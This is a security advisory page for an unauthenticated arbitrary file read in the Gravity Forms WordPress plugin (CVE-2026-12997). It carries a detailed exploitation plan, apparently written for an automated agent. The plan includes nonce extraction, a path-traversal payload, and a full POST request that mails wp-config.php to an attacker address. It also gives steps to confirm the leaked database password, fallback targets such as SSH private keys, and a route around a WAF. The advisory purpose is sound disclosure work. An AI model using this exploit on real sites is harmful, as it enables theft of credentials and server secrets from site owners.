Gravity Forms <= 2.10.4 - Unauthenticated Arbitrary File Read via 'gform_uploaded_files' Parameter
Description
The Gravity Forms plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 2.10.4 via the 'gform_uploaded_files' parameter parameter. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information. Exploitation requires the targeted form to not enforce login (so publicly accessible), which allows the unauthenticated attacker to reach the process_send_resume_link endpoint and supply an arbitrary recipient email address to receive the traversal-retrieved file as a notification attachment.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
This research plan outlines the technical steps to analyze and exploit **CVE-2026-12997**, an unauthenticated arbitrary file read vulnerability in Gravity Forms. ## 1. Vulnerability Summary **CVE-2026-12997** is a path traversal vulnerability in Gravity Forms (<= 2.10.4). The flaw resides in the pr…
Show full research plan
This research plan outlines the technical steps to analyze and exploit CVE-2026-12997, an unauthenticated arbitrary file read vulnerability in Gravity Forms.
1. Vulnerability Summary
CVE-2026-12997 is a path traversal vulnerability in Gravity Forms (<= 2.10.4). The flaw resides in the processing of the gform_uploaded_files parameter within the "Save and Continue" (resume link) functionality. The plugin fails to validate that files listed in this parameter are restricted to the designated temporary upload directory. An unauthenticated attacker can provide a JSON-encoded path traversal string (e.g., ../../../../wp-config.php), causing the server to attach the contents of that sensitive file to an email sent to an attacker-controlled address.
2. Attack Vector Analysis
- Endpoint: The
process_send_resume_linkmethod is typically triggered via aPOSTrequest to a page containing a Gravity Form that has "Save and Continue" enabled. - Vulnerable Parameter:
gform_uploaded_files. - Authentication: Unauthenticated.
- Preconditions:
- A Gravity Form must be active and publicly accessible.
- The "Save and Continue" feature must be enabled for that form.
- The form must be configured to allow "Email Resume Link" (the feature that sends the email).
3. Code Flow (Inferred from Patch and Description)
- Entry Point: An attacker submits a POST request to a form page with the parameter
gform_send_resume_link(or similar) set. - Handler: The plugin hits the
process_send_resume_linklogic (likely inGFFormDisplay::process_send_resume_linkorGFCommon). - Parsing: The code retrieves
$_POST['gform_uploaded_files']. This parameter is expected to be a JSON-encoded object where keys are input IDs and values are arrays of filenames. - File Processing: The plugin iterates through the files listed in
gform_uploaded_filesto include them in the resumed session data or as attachments for the notification email. - Sink: The plugin constructs a file path by concatenating the Gravity Forms upload directory with the provided filename. Due to lack of sanitization, a value like
../../../../wp-config.phpresolves to the site's root directory. - Email Dispatch: The
wp_mailfunction is called, attaching the file located at the traversed path to the email sent to the address provided in thegform_resume_emailparameter.
4. Nonce Acquisition Strategy
Gravity Forms often uses a frontend nonce for form submissions, including the "Save and Continue" feature.
- Identify Shortcode: The primary shortcode is
[gravityform id="FORM_ID" title="true" description="true"]. - Setup: Create a page with this shortcode using WP-CLI.
- Extraction:
- Navigate to the page.
- The nonce is typically found in the
gform_paramslocalized JS object or a hidden input field. - Browser Eval:
browser_eval("window.gform_theme_config?.common?.form_nounce_key")(Note: Check actual key in source; Gravity Forms often usesgform_ajax_nonceor specific form nonces). - Fallback: Search the HTML for
<input type="hidden" name="ak_js" value="..."or othergform_prefixed hidden inputs.
5. Exploitation Strategy
Step 1: Discover Form Details
Identify a valid Form ID and the necessary field names.
is_submit_FORMID: Set to 1.gform_submit: The Form ID.gform_resume_email: The attacker's email address to receive the file.
Step 2: Craft the Traversal Payload
The gform_uploaded_files parameter must be a JSON-encoded string.
- Payload:
{"1":["../../../../wp-config.php"]}(Assuming '1' is a valid input ID). - URL Encoded:
%7B%221%22%3A%5B%22..%2F..%2F..%2F..%2Fwp-config.php%22%5D%7D
Step 3: Send the HTTP Request
Use the http_request tool to trigger the resume link email.
POST /target-page/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
is_submit_1=1&
gform_submit=1&
gform_send_resume_link=1&
gform_resume_email=attacker@example.com&
gform_uploaded_files={"1":["../../../../wp-config.php"]}&
gform_target_page_number_1=0&
gform_source_page_number_1=1
6. Test Data Setup
- Install Plugin: Ensure Gravity Forms <= 2.10.4 is installed.
- Create Form:
# (Manual step or via script) Create a simple form (ID 1) # Enable "Save and Continue" in Form Settings -> General - Create Page:
wp post create --post_type=page --post_title="Contact" --post_status=publish --post_content='[gravityform id="1" title="false" description="false" ajax="true"]' - Configure Mail: Ensure the test environment can "catch" outgoing emails (e.g., using MailHog or checking the
wp-content/debug.logif a mail logger is active).
7. Expected Results
- The server responds with a 200 OK and a message indicating the resume link has been sent.
- An email is dispatched to
attacker@example.com. - The email contains an attachment named
wp-config.php(or the contents ofwp-config.phpare leaked in the email body depending on how the plugin handles the "resumed" file data).
8. Verification Steps
- Check Mail Log: If using a mail catcher, verify the arrival of the email and the attachment.
- File Content Validation: Confirm the attachment contains the string
DB_NAMEorDB_PASSWORD. - Server Logs: Monitor for PHP warnings related to
file_get_contentsormime_content_typeif the traversal fails to find the file.
9. Alternative Approaches
- Different Files: If
wp-config.phpis restricted, attempt to read/etc/passwdor~/.ssh/id_rsa. - JSON Structure Variations: The structure of
gform_uploaded_fileschanged slightly in version 2.x. If the primary payload fails, try the older format:{"input_1":"..%2F..%2Fwp-config.php"}(not as an array). - AJAX Endpoint: Attempt the same payload via
admin-ajax.phpwithaction=gform_send_resume_linkif the frontend form submission is blocked by WAF.
Summary
The Gravity Forms plugin (<= 2.10.4) is vulnerable to unauthenticated arbitrary file read via path traversal in the 'gform_uploaded_files' parameter. An attacker can exploit the 'Save and Continue' functionality to cause the server to attach sensitive system files to a notification email sent to an attacker-controlled address.
Exploit Outline
The attack targets the 'Save and Continue' functionality of a publicly accessible Gravity Form. An unauthenticated attacker submits a POST request to the form page including the 'gform_send_resume_link' flag, a recipient email address, and a JSON-encoded payload in the 'gform_uploaded_files' parameter containing path traversal sequences (e.g., pointing to sensitive files like wp-config.php). The plugin processes these filenames without sanitization, concatenating them with the upload directory path and attaching the resulting file content to the resume link email.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.